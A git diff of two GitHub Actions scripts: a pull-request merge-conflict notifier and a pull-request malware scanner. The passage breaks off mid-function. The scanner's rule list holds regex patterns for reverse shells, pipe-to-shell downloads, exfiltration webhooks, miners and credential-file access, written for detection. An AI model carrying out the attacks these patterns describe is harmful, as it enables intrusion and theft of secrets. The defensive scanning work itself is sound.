diff --git a/.github/scripts/pr-conflict-notifier.cjs b/.github/scripts/pr-conflict-notifier.cjs index 3827d992..fa13bfb3 100644 --- a/.github/scripts/pr-conflict-notifier.cjs +++ b/.github/scripts/pr-conflict-notifier.cjs @@ -1,147 +1,147 @@ -// Labels open PRs that conflict with the default branch and tells the author, -// once per push, how to rebase. Clears the label when the conflict is gone. -// -// Runs from the base repo on push/schedule only. It reads PR metadata through -// the API and never checks out or executes PR code, so a malicious PR cannot -// influence it. - -const MARKER = ''; -const LABEL = 'needs-rebase'; -const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); - -module.exports = async ({ github, context, core, dryRun = false }) => { - const { owner, repo } = context.repo; - const { data: repoInfo } = await github.rest.repos.get({ owner, repo }); - const base = repoInfo.default_branch; - - if (!dryRun) await ensureLabel(github, owner, repo); - - const cause = await latestMergedPr(github, owner, repo, base); - const prs = (await github.paginate(github.rest.pulls.list, { - owner, repo, state: 'open', base, per_page: 100, - })).filter((pr) => !pr.draft); - - // GitHub computes mergeability lazily: the first request starts the job, - // later requests return the result. A failed request here just means that - // PR's result may come back null below. - await Promise.allSettled(prs.map((pr) => github.rest.pulls.get({ owner, repo, pull_number: pr.number }))); - await sleep(15000); - - const tally = { notified: [], labelledOnly: [], cleared: [], unknown: [], errored: [] }; - for (const pr of prs) { - // One PR's API error (GitHub returns the odd 500/503 even after the - // client's retries) must not stop the rest; it's picked up next run. - try { - await processPr(github, owner, repo, base, cause, pr, dryRun, tally); - } catch (err) { - core.warning(`#${pr.number}: ${err.status || ''} ${err.message}`.trim()); - tally.errored.push(pr.number); - } - } - - const fmt = (list) => (list.length ? list.map((n) => `#${n}`).join(', ') : 'none'); - const lines = [ - `${dryRun ? '[dry run] ' : ''}Checked ${prs.length} open PRs against \`${base}\`.`, - `Notified (new conflict since last push): ${fmt(tally.notified)}`, - `Still conflicting, author already notified: ${fmt(tally.labelledOnly)}`, - `Conflict resolved, label removed: ${fmt(tally.cleared)}`, - `Mergeability not computed yet, retried next run: ${fmt(tally.unknown)}`, - `API error, retried next run: ${fmt(tally.errored)}`, - ]; - lines.forEach((line) => core.info(line)); - if (core.summary) await core.summary.addRaw(lines.join('\n\n')).write(); - return tally; -}; - -async function processPr(github, owner, repo, base, cause, pr, dryRun, tally) { - const mergeable = await readMergeable(github, owner, repo, pr.number); - const hasLabel = pr.labels.some((l) => l.name === LABEL); - - if (mergeable === null) { - tally.unknown.push(pr.number); - return; - } - - if (mergeable === false) { - if (!hasLabel && !dryRun) { - await github.rest.issues.addLabels({ owner, repo, issue_number: pr.number, labels: [LABEL] }); - } - if (await notifiedSinceLastPush(github, owner, repo, pr)) { - tally.labelledOnly.push(pr.number); - return; - } - if (!dryRun) { - await github.rest.issues.createComment({ - owner, repo, issue_number: pr.number, body: commentBody(pr, base, cause), - }); - } - tally.notified.push(pr.number); - } else if (hasLabel) { - if (!dryRun) { - await github.rest.issues.removeLabel({ owner, repo, issue_number: pr.number, name: LABEL }); - } - tally.cleared.push(pr.number); - } -} - -async function ensureLabel(github, owner, repo) { - try { - await github.rest.issues.getLabel({ owner, repo, name: LABEL }); - } catch (err) { - if (err.status !== 404) throw err; - await github.rest.issues.createLabel({ - owner, repo, name: LABEL, color: 'd93f0b', description: 'Has merge conflicts with main; the author needs to rebase', - }); - } -} - -async function readMergeable(github, owner, repo, number) { - for (let attempt = 0; attempt < 4; attempt++) { - const { data } = await github.rest.pulls.get({ owner, repo, pull_number: number }); - if (data.mergeable !== null) return data.mergeable; - await sleep(5000); - } - return null; -} - -// True when someone has already told the author about conflicts after their -// latest push, so a conflict that persists across runs is announced only once, -// and a fresh conflict after a rebase is announced again. -async function notifiedSinceLastPush(github, owner, repo, pr) { - const { data: head } = await github.rest.repos.getCommit({ owner, repo, ref: pr.head.sha }); - const pushedAt = new Date(head.commit.committer.date); - const comments = await github.paginate(github.rest.issues.listComments, { - owner, repo, issue_number: pr.number, since: pushedAt.toISOString(), per_page: 100, - }); - return comments.some((c) => new Date(c.created_at) >= pushedAt - && c.user.login !== pr.user.login - && (c.body.includes(MARKER) || /merge conflicts?/i.test(c.body))); -} - -async function latestMergedPr(github, owner, repo, base) { - const { data: commit } = await github.rest.repos.getCommit({ owner, repo, ref: base }); - const { data: pulls } = await github.rest.repos.listPullRequestsAssociatedWithCommit({ - owner, repo, commit_sha: commit.sha, - }); - const merged = pulls.find((p) => p.merged_at); - return merged ? { number: merged.number, title: merged.title } : null; -} - -function commentBody(pr, base, cause) { - const because = cause && cause.number !== pr.number - ? `, most likely because #${cause.number} (${cause.title}) was just merged` - : ''; - return `${MARKER} -@${pr.user.login} This PR now has merge conflicts with \`${base}\`${because}, so it can't be merged until it's rebased: - -\`\`\`bash -git fetch upstream # upstream = https://github.com/${pr.base.repo.full_name}.git -git rebase upstream/${base} -# resolve the conflicts, re-run the tests, then: -git push --force-with-lease -\`\`\` - -The usual culprits are shared docs like \`ROADMAP.md\` and \`ARCHITECTURE*.md\`. If the conflict is in the \`ROADMAP.md\` changelog, move your entry into a new file under \`changelog.d/\` (see \`changelog.d/README.md\`) rather than resolving it in place, so it can't conflict again. CI re-runs when you push, and the \`${LABEL}\` label is removed automatically once the conflicts are resolved. - -Automated message. It won't repeat unless the PR conflicts again after your next push.`; -} +// Labels open PRs that conflict with the default branch and tells the author, +// once per push, how to rebase. Clears the label when the conflict is gone. +// +// Runs from the base repo on push/schedule only. It reads PR metadata through +// the API and never checks out or executes PR code, so a malicious PR cannot +// influence it. + +const MARKER = ''; +const LABEL = 'needs-rebase'; +const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms)); + +module.exports = async ({ github, context, core, dryRun = false }) => { + const { owner, repo } = context.repo; + const { data: repoInfo } = await github.rest.repos.get({ owner, repo }); + const base = repoInfo.default_branch; + + if (!dryRun) await ensureLabel(github, owner, repo); + + const cause = await latestMergedPr(github, owner, repo, base); + const prs = (await github.paginate(github.rest.pulls.list, { + owner, repo, state: 'open', base, per_page: 100, + })).filter((pr) => !pr.draft); + + // GitHub computes mergeability lazily: the first request starts the job, + // later requests return the result. A failed request here just means that + // PR's result may come back null below. + await Promise.allSettled(prs.map((pr) => github.rest.pulls.get({ owner, repo, pull_number: pr.number }))); + await sleep(15000); + + const tally = { notified: [], labelledOnly: [], cleared: [], unknown: [], errored: [] }; + for (const pr of prs) { + // One PR's API error (GitHub returns the odd 500/503 even after the + // client's retries) must not stop the rest; it's picked up next run. + try { + await processPr(github, owner, repo, base, cause, pr, dryRun, tally); + } catch (err) { + core.warning(`#${pr.number}: ${err.status || ''} ${err.message}`.trim()); + tally.errored.push(pr.number); + } + } + + const fmt = (list) => (list.length ? list.map((n) => `#${n}`).join(', ') : 'none'); + const lines = [ + `${dryRun ? '[dry run] ' : ''}Checked ${prs.length} open PRs against \`${base}\`.`, + `Notified (new conflict since last push): ${fmt(tally.notified)}`, + `Still conflicting, author already notified: ${fmt(tally.labelledOnly)}`, + `Conflict resolved, label removed: ${fmt(tally.cleared)}`, + `Mergeability not computed yet, retried next run: ${fmt(tally.unknown)}`, + `API error, retried next run: ${fmt(tally.errored)}`, + ]; + lines.forEach((line) => core.info(line)); + if (core.summary) await core.summary.addRaw(lines.join('\n\n')).write(); + return tally; +}; + +async function processPr(github, owner, repo, base, cause, pr, dryRun, tally) { + const mergeable = await readMergeable(github, owner, repo, pr.number); + const hasLabel = pr.labels.some((l) => l.name === LABEL); + + if (mergeable === null) { + tally.unknown.push(pr.number); + return; + } + + if (mergeable === false) { + if (!hasLabel && !dryRun) { + await github.rest.issues.addLabels({ owner, repo, issue_number: pr.number, labels: [LABEL] }); + } + if (await notifiedSinceLastPush(github, owner, repo, pr)) { + tally.labelledOnly.push(pr.number); + return; + } + if (!dryRun) { + await github.rest.issues.createComment({ + owner, repo, issue_number: pr.number, body: commentBody(pr, base, cause), + }); + } + tally.notified.push(pr.number); + } else if (hasLabel) { + if (!dryRun) { + await github.rest.issues.removeLabel({ owner, repo, issue_number: pr.number, name: LABEL }); + } + tally.cleared.push(pr.number); + } +} + +async function ensureLabel(github, owner, repo) { + try { + await github.rest.issues.getLabel({ owner, repo, name: LABEL }); + } catch (err) { + if (err.status !== 404) throw err; + await github.rest.issues.createLabel({ + owner, repo, name: LABEL, color: 'd93f0b', description: 'Has merge conflicts with main; the author needs to rebase', + }); + } +} + +async function readMergeable(github, owner, repo, number) { + for (let attempt = 0; attempt < 4; attempt++) { + const { data } = await github.rest.pulls.get({ owner, repo, pull_number: number }); + if (data.mergeable !== null) return data.mergeable; + await sleep(5000); + } + return null; +} + +// True when someone has already told the author about conflicts after their +// latest push, so a conflict that persists across runs is announced only once, +// and a fresh conflict after a rebase is announced again. +async function notifiedSinceLastPush(github, owner, repo, pr) { + const { data: head } = await github.rest.repos.getCommit({ owner, repo, ref: pr.head.sha }); + const pushedAt = new Date(head.commit.committer.date); + const comments = await github.paginate(github.rest.issues.listComments, { + owner, repo, issue_number: pr.number, since: pushedAt.toISOString(), per_page: 100, + }); + return comments.some((c) => new Date(c.created_at) >= pushedAt + && c.user.login !== pr.user.login + && (c.body.includes(MARKER) || /merge conflicts?/i.test(c.body))); +} + +async function latestMergedPr(github, owner, repo, base) { + const { data: commit } = await github.rest.repos.getCommit({ owner, repo, ref: base }); + const { data: pulls } = await github.rest.repos.listPullRequestsAssociatedWithCommit({ + owner, repo, commit_sha: commit.sha, + }); + const merged = pulls.find((p) => p.merged_at); + return merged ? { number: merged.number, title: merged.title } : null; +} + +function commentBody(pr, base, cause) { + const because = cause && cause.number !== pr.number + ? `, most likely because #${cause.number} (${cause.title}) was just merged` + : ''; + return `${MARKER} +@${pr.user.login} This PR now has merge conflicts with \`${base}\`${because}, so it can't be merged until it's rebased: + +\`\`\`bash +git fetch upstream # upstream = https://github.com/${pr.base.repo.full_name}.git +git rebase upstream/${base} +# resolve the conflicts, re-run the tests, then: +git push --force-with-lease +\`\`\` + +The usual culprits are shared docs like \`ROADMAP.md\` and \`ARCHITECTURE*.md\`. If the conflict is in the \`ROADMAP.md\` changelog, move your entry into a new file under \`changelog.d/\` (see \`changelog.d/README.md\`) rather than resolving it in place, so it can't conflict again. CI re-runs when you push, and the \`${LABEL}\` label is removed automatically once the conflicts are resolved. + +Automated message. It won't repeat unless the PR conflicts again after your next push.`; +} diff --git a/.github/scripts/pr-malware-scan.cjs b/.github/scripts/pr-malware-scan.cjs index f0deda7f..5c96016b 100644 --- a/.github/scripts/pr-malware-scan.cjs +++ b/.github/scripts/pr-malware-scan.cjs @@ -1,441 +1,441 @@ -// Scans a PR's changes for malware and supply-chain tricks: editor/devcontainer -// autorun tasks, install hooks, untrusted GitHub Actions, payloads disguised -// as fonts or images, base64/whitespace obfuscation, exfiltration endpoints, -// reverse shells and miners. -// -// It treats the PR purely as data. Files are read through the API (patches, -// or raw contents for large files) and matched against patterns; nothing from -// the PR is checked out, installed or executed. -// -// HIGH findings fail the check, add the `security-review` label and -// @mention the author. WARN findings are listed for the reviewing maintainer. -// The comment is edited in place on every push, so a PR has one scan comment. - -const MARKER = ''; -const LABEL = 'security-review'; -const MAX_FETCH_BYTES = 2 * 1024 * 1024; - -// Owners whose Actions this org already uses. Anything else in `uses:` fails. -const ALLOWED_ACTION_OWNERS = [ - 'actions', 'github', 'dtolnay', 'Swatinem', 'taiki-e', 'oven-sh', 'denoland', 'softprops', -]; - -// Popular packages that typosquats imitate, plus this org's own stack. -const POPULAR_PACKAGES = [ - 'react', 'react-dom', 'react-router', 'react-router-dom', 'react-hook-form', 'react-intl', 'zod', 'zustand', - 'axios', 'express', 'lodash', 'moment', 'dayjs', 'date-fns', 'date-fns-tz', 'vite', 'vitest', 'jest', 'typescript', - 'eslint', 'prettier', 'webpack', 'babel', 'chalk', 'commander', 'dotenv', 'jsonwebtoken', 'bcrypt', 'bcryptjs', - 'prisma', '@prisma/client', 'pg', 'mongoose', 'redis', 'ioredis', 'socket.io', 'cors', 'helmet', 'uuid', 'nanoid', - 'yaml', 'qrcode', 'jspdf', 'html2canvas', 'buffer', 'crypto-js', 'ethers', 'web3', 'tweetnacl', 'bignumber.js', - 'node-fetch', 'cross-env', 'nodemon', 'ts-node', 'tsx', 'playwright', '@playwright/test', 'puppeteer', - '@stellar/stellar-sdk', '@stellar/freighter-api', 'stellar-sdk', 'soroban-client', '@sentry/react', '@sentry/browser', - 'workbox-core', 'vite-plugin-pwa', 'msw', 'supertest', 'zxcvbn', 'otplib', 'speakeasy', 'nodemailer', -]; - -const TEXT_EXT = /\.(c|m)?(j|t)sx?$|\.(json|jsonc|md|mdx|rs|toml|ya?ml|css|scss|html|sql|prisma|lock|svg|txt|snap|sh|py|graphql|spec|example|env|xml|csv|ini|cfg|conf|dict|gitignore|gitattributes|editorconfig|nvmrc|npmrc|dockerignore|mts|cts|vue|svelte|astro|less|sass|go|mod|sum|tla)$/i; -const MEDIA_EXT = /\.(woff2?|ttf|otf|eot|png|jpe?g|gif|ico|webp|bmp|pdf|mp3|mp4|wav|zip|gz|tgz|wasm)$/i; -const DOC_EXT = /\.(md|mdx|txt)$/i; -const GENERATED = /(^|\/)(package-lock\.json|Cargo\.lock|yarn\.lock|pnpm-lock\.yaml)$|(^|\/)test_snapshots\/|(^|\/)generated\/|\.snap$|\.min\.(js|css)$|\.svg$/; -const JS_LIKE = /\brequire\s*\(|\bimport\s+[\w{*]|=>|\bfunction\s*\(|\beval\s*\(|\bprocess\.(env|argv)|module\.exports|child_process/; -const SELF = '.github/scripts/pr-malware-scan.cjs'; - -// Code patterns checked on every added line. Docs only get WARN for these, -// since READMEs legitimately show install one-liners. -const LINE_RULES = [ - // Marker of the obfuscated loader planted in escrow #163 and web #137. - { id: 'known-payload', sev: 'high', re: /\bglobal(This)?\[\s*['"]!['"]\s*\]\s*=/, msg: 'Matches the obfuscated JavaScript loader seen in earlier malicious PRs.' }, - { id: 'pipe-to-shell', sev: 'high', re: /\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(ba|z|da)?sh\b/, msg: 'Downloads and pipes straight into a shell.' }, - { id: 'powershell-encoded', sev: 'high', re: /powershell[^\n]*(-enc(odedcommand)?\b|\biex\b|invoke-expression)/i, msg: 'Encoded or downloaded PowerShell execution.' }, - { id: 'reverse-shell', sev: 'high', re: /\/dev\/tcp\/|\bnc\b[^\n]*\s-e\s|\bbash\s+-i\s*>&|\bsocat\b[^\n]*exec:/, msg: 'Reverse-shell pattern.' }, - { id: 'exfil-endpoint', sev: 'high', re: /discord(app)?\.com\/api\/webhooks|api\.telegram\.org\/bot|pastebin\.com\/raw|webhook\.site|requestbin|pipedream\.net|\.ngrok(-free)?\.(io|app)|interact\.sh|burpcollaborator/i, msg: 'Sends data to a known exfiltration or paste endpoint.' }, - { id: 'miner', sev: 'high', re: /\bxmrig\b|stratum\+(tcp|ssl):\/\/|coinhive|cryptonight/i, msg: 'Cryptocurrency-miner indicator.' }, - { id: 'decode-and-run', sev: 'high', re: /(eval|Function|require|exec(Sync)?)\s*\([^\n]*(atob\s*\(|Buffer\.from\([^)]*['"](base64|hex)['"])/, msg: 'Decodes base64/hex and executes the result.' }, - { id: 'charcode-payload', sev: 'high', re: /fromCharCode\s*\(\s*(\d+\s*,\s*){8,}/, msg: 'Builds a string from a long run of char codes (common obfuscation).' }, - { id: 'hex-escapes', sev: 'high', re: /(\\x[0-9a-fA-F]{2}){20,}/, msg: 'Long run of \\x escapes (obfuscated string).' }, - { id: 'env-dump', sev: 'high', re: /JSON\.stringify\(\s*process\.env\s*\)|Object\.(entries|keys)\(\s*process\.env\s*\)[^\n]*(fetch|post|send|request)/, msg: 'Serialises the whole environment (secrets) for sending.' }, - { id: 'credential-files', sev: 'warn', re: /\.ssh\/(id_|authorized_keys)|\.aws\/credentials|\.npmrc['"]|Login Data|Local State|keychain|\.config\/solana\/id\.json|wallet\.dat|keystore\/UTC/i, msg: 'Touches local credential or wallet files.' }, - { id: 'dynamic-code', sev: 'warn', re: /\beval\s*\(|\bnew\s+Function\s*\(/, msg: 'Dynamic code execution (eval / new Function).' }, - { id: 'node-runs-odd-file', sev: 'high', re: /\bnode\s+(\.\/)?[\w./-]+\.(?!(c|m)?js\b|ts\b|mts\b)[a-z0-9]{2,5}\b/i, msg: 'Runs `node` on a file that is not a .js/.ts file (payload disguised by extension).' }, -]; - -module.exports = async ({ github, context, core, pr: prOverride, dryRun = false }) => { - const { owner, repo } = context.repo; - const pr = prOverride || context.payload.pull_request; - const files = await github.paginate(github.rest.pulls.listFiles, { - owner, repo, pull_number: pr.number, per_page: 100, - }); - - const findings = []; - const add = (sev, file, line, rule, msg) => findings.push({ sev, file, line, rule, msg }); - - for (const f of files) { - if (f.status === 'removed') continue; - const path = f.filename; - - let lines; - if (typeof f.patch === 'string') { - lines = addedLines(f.patch); - } else { - // No patch: the file is binary or too large for the API diff. - const raw = await fetchRaw(github, pr, path); - if (raw === null) { - if (!MEDIA_EXT.test(path) && f.changes > 0) add('warn', path, null, 'unscanned', 'Too large to scan automatically; review by hand.'); - continue; - } - if (raw.binary) { - continue; - } - lines = raw.text.split('\n').map((text, i) => ({ n: i + 1, text })); - } - scanFile(path, f.status, lines, add); - if (/(^|\/)package\.json$/.test(path)) await scanPackageJson(github, pr, path, f.status, add); - } - - const high = findings.filter((x) => x.sev === 'high'); - const warn = findings.filter((x) => x.sev === 'warn'); - const body = renderComment(pr, high, warn); - - core.info(`Scanned ${files.length} files: ${high.length} high, ${warn.length} warn.`); - for (const x of findings) core.info(`[${x.sev}] ${x.file}${x.line ? `:${x.line}` : ''} ${x.rule}: ${x.msg}`); - if (core.summary) await core.summary.addRaw(body.replace(MARKER, '')).write(); - - if (!dryRun) await publish(github, owner, repo, pr, body, findings.length > 0, high.length > 0); - if (high.length && core.setFailed) core.setFailed(`Malware scan: ${high.length} high-severity finding(s). A maintainer must review this PR.`); - return { high, warn }; -}; - -// Manual backfill (workflow_dispatch): scans PRs that haven't been pushed since -// the scanner went live, or re-scans after a rule change. Each result is -// recorded as a `Malware scan` commit status on the PR head, which satisfies -// the required check just like the check run a normal PR push produces. -module.exports.backfill = async ({ github, context, core, prs = 'all', dryRun = false }) => { - const { owner, repo } = context.repo; - const wanted = String(prs).trim(); - const numbers = wanted === 'all' || wanted === '' - ? (await github.paginate(github.rest.pulls.list, { owner, repo, state: 'open', per_page: 100 })).map((p) => p.number) - : wanted.split(/[\s,]+/).map(Number).filter((n) => Number.isInteger(n) && n > 0); - const runUrl = context.runId ? `${context.serverUrl}/${owner}/${repo}/actions/runs/${context.runId}` : undefined; - const quiet = { info: () => {}, summary: null, setFailed: null }; - const rows = []; - - for (const number of numbers) { - let pr; - try { - ({ data: pr } = await github.rest.pulls.get({ owner, repo, pull_number: number })); - } catch (err) { - rows.push(`| #${number} | skipped | not found (${err.status || err.message}) |`); - continue; - } - if (pr.state !== 'open') { - rows.push(`| #${number} | skipped | ${pr.merged_at ? 'merged' : 'closed'} |`); - continue; - } - let result; - try { - result = await module.exports({ github, context, core: quiet, pr, dryRun }); - } catch (err) { - core.warning(`#${number}: scan errored (${err.message}); left without a status so it is retried by the next push or backfill.`); - rows.push(`| #${number} | ⚠️ error | ${err.message.slice(0, 80)} |`); - continue; - } - const failed = result.high.length > 0; - if (!dryRun) { - await github.rest.repos.createCommitStatus({ - owner, repo, sha: pr.head.sha, context: 'Malware scan', target_url: runUrl, - state: failed ? 'failure' : 'success', - description: failed ? `${result.high.length} high-severity finding(s); maintainer review needed` : `Clean (backfill${result.warn.length ? `, ${result.warn.length} note(s)` : ''})`, - }); - } - rows.push(`| #${number} | ${failed ? '🚨 high' : result.warn.length ? 'notes' : 'βœ… clean'} | ${[...new Set([...result.high, ...result.warn].map((x) => x.rule))].join(', ')} |`); - core.info(`#${number}: ${result.high.length} high, ${result.warn.length} warn`); - } - - const summary = [`${dryRun ? '[dry run] ' : ''}Backfill processed ${rows.length} PR(s).`, '', '| PR | Result | Rules |', '|---|---|---|', ...rows].join('\n'); - if (core.summary) await core.summary.addRaw(summary).write(); - return rows; -}; - -function scanFile(path, status, lines, add) { - const isDoc = DOC_EXT.test(path); - const isGenerated = GENERATED.test(path); - const all = lines.map((l) => l.text).join('\n'); - const first = lines[0] ? lines[0].n : null; - - // Editor and devcontainer configs that execute on open. - if (/^\.vscode\/tasks\.json$/.test(path) && /"runOn"\s*:\s*"folderOpen"/.test(all)) { - add('high', path, first, 'editor-autorun', 'VS Code task set to run automatically when the folder is opened.'); - } else if (/^\.(vscode|idea|fleet|zed)\//.test(path)) { - add('warn', path, first, 'editor-config', 'Adds or changes editor config; check it runs nothing on open.'); - } - if (/^\.devcontainer\//.test(path)) { - const host = /"initializeCommand"/.test(all); - add(host ? 'high' : 'warn', path, first, 'devcontainer-command', - host ? 'devcontainer `initializeCommand` runs on the host machine.' : 'Changes devcontainer config; check its post-create/start commands.'); - } - - // Install-time and build-time hooks (package.json is handled in scanPackageJson). - if (/(^|\/)package-lock\.json$/.test(path)) { - for (const l of lines) { - const m = /"resolved"\s*:\s*"([^"]+)"/.exec(l.text); - // Relative paths are local workspace packages; only remote sources matter. - if (m && /^[a-z+]+:/i.test(m[1]) && !m[1].startsWith('https://registry.npmjs.org/')) { - add('high', path, l.n, 'lockfile-source', `Lockfile resolves a package from \`${m[1]}\`, not registry.npmjs.org.`); - } - } - } - if (/(^|\/)\.(npmrc|yarnrc(\.yml)?)$/.test(path)) { - const reg = /registry\s*[=:]/.test(all) && !/registry\.npmjs\.org/.test(all); - add(reg ? 'high' : 'warn', path, first, 'npm-config', reg ? 'Points npm at a non-default registry.' : 'Changes npm/yarn config.'); - } - if (/(^|\/)build\.rs$/.test(path)) { - const risky = /std::process|Command::new|TcpStream|reqwest|ureq|std::net/.test(all); - add(risky ? 'high' : 'warn', path, first, 'build-script', - risky ? 'Cargo build script spawns processes or opens network connections at compile time.' : 'Adds or changes a Cargo build script (runs at compile time).'); - } - if (/(^|\/)Cargo\.toml$/.test(path)) { - for (const l of lines) { - if (/\bgit\s*=\s*"/.test(l.text)) add('warn', path, l.n, 'git-dependency', 'Crate pulled from a git repository instead of crates.io.'); - } - } - if (/^\.husky\/|(^|\/)\.git-hooks?\//.test(path)) add('warn', path, first, 'git-hook', 'Adds or changes git hooks.'); - - // GitHub Actions. - if (/^\.github\/workflows\//.test(path)) { - add('warn', path, first, 'workflow-change', 'Changes a CI workflow; a maintainer must review before approving runs.'); - for (const l of lines) { - const u = /^\s*-?\s*uses:\s*['"]?([^@\s'"]+)@/.exec(l.text); - if (u && !u[1].startsWith('./')) { - const owner = u[1].split('/')[0]; - if (!ALLOWED_ACTION_OWNERS.includes(owner)) { - const near = typosquatOf(owner, ALLOWED_ACTION_OWNERS, true); - add('high', path, l.n, 'untrusted-action', near - ? `\`${u[1]}\` looks like a typosquat of \`${near}/…\`.` - : `\`${u[1]}\` is not from an allowed Actions publisher (${ALLOWED_ACTION_OWNERS.join(', ')}).`); - } - } - if (/\bpull_request_target\b/.test(l.text)) add('high', path, l.n, 'pull-request-target', '`pull_request_target` runs with a write token and secrets on fork PRs.'); - if (/\$\{\{\s*secrets\./.test(l.text)) add('warn', path, l.n, 'workflow-secret', 'Workflow uses a repository secret.'); - } - } - - // Payload disguised as a font, image or other non-code file. - if (MEDIA_EXT.test(path) || (!TEXT_EXT.test(path) && /\.[a-z0-9]{2,5}$/i.test(path) && !/(^|\/)[A-Z][A-Z_]*$|Dockerfile|Makefile|LICENSE/.test(path))) { - if (JS_LIKE.test(all)) { - add('high', path, first, 'disguised-code', 'Non-code file extension, but the content is JavaScript. Typical of a hidden payload.'); - } - } - - if (path === SELF) return; // the scanner's own pattern list would match itself - - // The whole-line heuristics report once per file; the line rules still - // check every line, including the one a heuristic matched. - let heuristicHit = false; - for (const l of lines) { - const t = l.text; - if (!isGenerated && !heuristicHit && t.length >= 200) { - const compact = t.replace(/\s/g, ''); - const b64 = compact.replace(/[^A-Za-z0-9+/=]/g, ''); - const ws = (t.match(/\s/g) || []).length; - if (b64.length >= 200 && b64.length / compact.length > 0.98 && looksLikeBase64Text(compact)) { - add('high', path, l.n, 'base64-file', 'Content is committed as base64. It hides what the file really contains, and merging overwrites the real file.'); - heuristicHit = true; - } else if (ws / t.length > 0.9 && /\S/.test(t)) { - add('high', path, l.n, 'whitespace-hiding', 'Code is hidden among large runs of whitespace.'); - heuristicHit = true; - } else if (/\S\s{150,}\S/.test(t) || /^\s{150,}\S/.test(t)) { - add('high', path, l.n, 'offscreen-code', 'Code is pushed far off-screen by a long run of whitespace.'); - heuristicHit = true; - } - } - if (isGenerated) continue; - for (const r of LINE_RULES) { - if (r.re.test(t)) add(isDoc && r.sev === 'high' ? 'warn' : r.sev, path, l.n, r.id, r.msg); - } - } -} - -const LIFECYCLE = ['preinstall', 'install', 'postinstall', 'prepare', 'prepublish', 'preprepare', 'postprepare']; -const DEP_FIELDS = ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies']; -// A prepare script that only builds the package itself is normal; anything else runs arbitrary code on install. -const BENIGN_PREPARE = /^(npm run [\w:-]+|tsc\b[^;&|]*|husky( install)?|vite build|node-gyp rebuild|patch-package)( && (npm run [\w:-]+|tsc\b[^;&|]*))*$/; - -async function scanPackageJson(github, pr, path, status, add) { - const head = await fetchRaw(github, pr, path); - const base = status === 'added' ? { text: '{}' } : await fetchRaw(github, { head: { repo: pr.base.repo, sha: pr.base.sha } }, path); - if (!head || head.binary) { - add('warn', path, null, 'package-json-unparsed', 'package.json could not be fetched; review its scripts and dependencies by hand.'); - return; - } - let h; let b; - try { - h = JSON.parse(head.text); - b = JSON.parse(base ? base.text : '{}'); - } catch { - add('warn', path, null, 'package-json-unparsed', 'package.json could not be parsed; review its scripts and dependencies by hand.'); - return; - } - const lineOf = (key) => { - const i = head.text.split('\n').findIndex((l) => l.includes(`"${key}"`)); - return i >= 0 ? i + 1 : null; - }; - - for (const key of LIFECYCLE) { - const now = h.scripts && h.scripts[key]; - if (!now || (b.scripts && b.scripts[key] === now)) continue; - const benign = (key === 'prepare' || key === 'prepublish') && BENIGN_PREPARE.test(now.trim()); - add(benign ? 'warn' : 'high', path, lineOf(key), 'install-script', - `Adds or changes the \`${key}\` script (\`${now.slice(0, 80)}\`), which runs automatically on \`npm install\`.`); - } - - // An everyday script (dev, build, test…) that now also runs some file first - // or after: the original command still works, so the change is easy to miss. - for (const [key, now] of Object.entries(h.scripts || {})) { - const was = b.scripts && b.scripts[key]; - if (LIFECYCLE.includes(key) || typeof now !== 'string' || !was || now === was || !now.includes(was)) continue; - const extra = now.replace(was, ''); - const runs = /\b(node|bun|deno|sh|bash|python3?)\s+(?!-)([^\s;&|]+)/.exec(extra); - if (runs) { - add('high', path, lineOf(key), 'script-hijack', - `The \`${key}\` script now also runs \`${runs[1]} ${runs[2]}\` alongside its original command (\`${was.slice(0, 60)}\`).`); - } - } - - for (const field of DEP_FIELDS) { - for (const [name, spec] of Object.entries(h[field] || {})) { - if (b[field] && b[field][name] === spec) continue; - const local = /^(file|link|workspace):(\.\/)?(?!\.\.|\/)/.test(spec) || /^workspace:/.test(spec); - if (local) { - add('warn', path, lineOf(name), 'dependency-source', `\`${name}\` is a local package (\`${spec}\`); check that path is part of this PR's reviewed code.`); - } else if (/^(https?:|git(\+\w+)?:|github:|gitlab:|bitbucket:|file:|link:)/.test(spec) || /^[\w-]+\/[\w.-]+(#.*)?$/.test(spec)) { - add('high', path, lineOf(name), 'dependency-source', `\`${name}\` is installed from \`${spec}\` instead of the npm registry.`); - } - const squat = typosquatOf(name, POPULAR_PACKAGES); - if (squat) add('high', path, lineOf(name), 'typosquat', `\`${name}\` looks like a typosquat of \`${squat}\`.`); - } - } -} - -function addedLines(patch) { - const out = []; - let n = 0; - for (const line of patch.split('\n')) { - const h = /^@@ -\d+(?:,\d+)? \+(\d+)/.exec(line); - if (h) { n = Number(h[1]); continue; } - if (line.startsWith('+')) out.push({ n: n++, text: line.slice(1) }); - else if (!line.startsWith('-') && !line.startsWith('\\')) n++; - } - return out; -} - -async function fetchRaw(github, pr, path) { - const head = pr.head.repo; - if (!head) return null; // fork deleted - try { - const { data } = await github.rest.repos.getContent({ owner: head.owner.login, repo: head.name, path, ref: pr.head.sha }); - if (Array.isArray(data) || data.type !== 'file' || data.size > MAX_FETCH_BYTES) return null; - let buf; - if (data.content) { - buf = Buffer.from(data.content, 'base64'); - } else { - const { data: blob } = await github.rest.git.getBlob({ owner: head.owner.login, repo: head.name, file_sha: data.sha }); - buf = Buffer.from(blob.content, 'base64'); - } - if (buf.includes(0)) return { binary: true }; - return { text: buf.toString('utf8') }; - } catch { - return null; - } -} - -// Decodes the longest clean base64 run, so a stray character can't shift the -// alignment and hide the content. -function looksLikeBase64Text(s) { - const run = (s.match(/[A-Za-z0-9+/]{200,}/g) || []).sort((a, b) => b.length - a.length)[0]; - if (!run) return false; - const decoded = Buffer.from(run.slice(0, 4000 - (Math.min(run.length, 4000) % 4)), 'base64').toString('utf8'); - if (decoded.length < 100) return false; - const printable = (decoded.match(/[\x20-\x7e\n\r\t]/g) || []).length; - return printable / decoded.length > 0.9; -} - -// `prefix` also flags lookalikes sharing the first 4 letters (dtolstech vs dtolnay). -// Only used for Action owners: npm names legitimately share prefixes (react-dom, react-query). -function typosquatOf(name, known, prefix = false) { - const lower = name.toLowerCase(); - if (known.some((k) => k.toLowerCase() === lower)) return null; - for (const k of known) { - const kl = k.toLowerCase(); - if (Math.abs(kl.length - lower.length) > 2 || kl.length < 4) continue; - const d = distance(lower, kl); - if (d === 1 || (d === 2 && kl.length >= 7)) return k; - } - for (const k of prefix ? known : []) { - const kl = k.toLowerCase(); - if (kl.length >= 5 && lower.length >= 5 && lower.slice(0, 